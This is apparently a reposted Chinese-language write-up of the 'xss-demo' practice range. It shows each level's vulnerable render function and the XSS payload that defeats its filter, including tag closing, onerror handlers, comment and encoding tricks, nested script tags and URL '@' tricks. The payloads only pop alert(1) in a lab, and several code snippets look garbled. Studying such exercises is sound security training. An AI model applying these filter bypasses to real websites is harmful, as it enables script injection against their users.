XSS
全称跨站脚本(Cross Site Scripting),较合适的方式应该叫做跨站脚本攻击跨站脚本 攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受 害者访问这些页面时,浏览器会解析并执行这些恶意代码,被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。
项目地址
github:https://github.com/haozi/xss-demo
在线地址:https://xss.haozi.me/
第一关
没有任何过滤和难度,直接标准的alert(1)
搞定
<script>alert(1)</script>
第二关
观察源代码发现我们输入的内容被<textarea></textarea>
包裹了起来,我们尝试将前面一个<textarea>
进行闭合然后alert(1)
。
源代码
function render (input) {
return '<textarea>' + input + '</textarea>'
}
payload
</textarea><script>alert(1)</script>
第三关
input缺少闭合。<input type=”name” value=””>
源码
function render (input) {
return '<input type="name" value="' + input + '">'
}
payload
"><script>alert(1)</script>
第四关
通过一个正则表达式把我们的括号过滤掉了源码
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
payload
<script>alert`1`</script>
第五关
在上一题的基础上还屏蔽了",可以对()
进行unicode
编码再解码源码
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
payload
<svg><script>alert(1)</script>
第六关
把我们所有输入的都框在了注释里,而且屏蔽了我们的后注释符-->
源码
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
payload可以用–!>
代替–>
--!><script>alert(1)</script>
第七关
过滤了>
,尝试添加一个onmouseover
的属性源码
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
payload
onmouseover
=alert(1)
当我们的鼠标拂过输入框的那个1
,就会弹出alert(1)
了!
第八关
输入标准的alert(1)
后发现他是从 <
到>
做一个完整的过滤
源码
function render (input) {
const stripTagsRe = /</?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
既然无法闭合,那么我们考虑在标签<article>
属性里有什么能搞操作的。想到可以插入图片payload
<img src=x onerror="alert(1)"
第九关
<style>
标签不能直接屏蔽,会被过滤替换成/* 坏人 */
,那么我们在e
和>
之间空格就可以了
源码
function render (src) {
src = src.replace(/</style>/ig, '/* u574Fu4EBA */')
return `
<style>
${src}
</style>
`
}
payload
</style ><script>alert(1)</script>
第十关
我们在后面加上点东西让这个网站无法访问,再用onerror进行弹出1。
源码
function render (input) {
let domainRe = /^https?://www.segmentfault.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
payload
https://www.bbskali.coms" onerror="alert(1)
第十一关
源码
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(///g, '/')
}
const domainRe = /^https?://www.segmentfault.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
在本地搭建一个网站,并在根目录建立一个含有alert(1)
的js文件payload
https://www.bbskali.cn.coms@http://localtest/haha.js
第十二关
输入的所有东西转化成大写源码
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
payload和上关一样,将path部分全部大写即可。
第十三关
屏蔽了script
这个单词,并把输入的所有东西转化成大写
源码
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
payload
<scscriptript src="http://127.0.0.1/KALI.JS"></scrscriptipt>
第十四关
源码
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
payload
直接一个空行就能忽略掉那个单行注释
x
alert(1)
-->
第十五关
过滤规则如下
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
payload没有过滤古英文!!s
的古英文写法是ſ
<ſcript src="http://127.0.0.1/666.JS"></script>
第十六关
浏览器先解析html,然后再解析 js 直接前后补全即可
');alert('1
第十七关
直接alert(1)
即可。
第十八关
从源码看出,这道题过滤的规则比较多,但实际上补全再用个堆叠即可
");alert("1
第十九关
直接闭合script并在后面新建一个script标签
</script>
<script>
alert`1`;
</script>
<script>
总结
虽然xss
漏洞现在很少了,但是并不意味着完全没有。本文从过xss
靶场为了介绍了常见的xss
利用方法和出现漏洞的原因。希望开发者在开发时应道注意此问题带来的危害。
更多精彩文章 关注我们
原文始发于微信公众号(kali黑客笔记):一款有意思的XSS靶场通关笔记 建议收藏
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论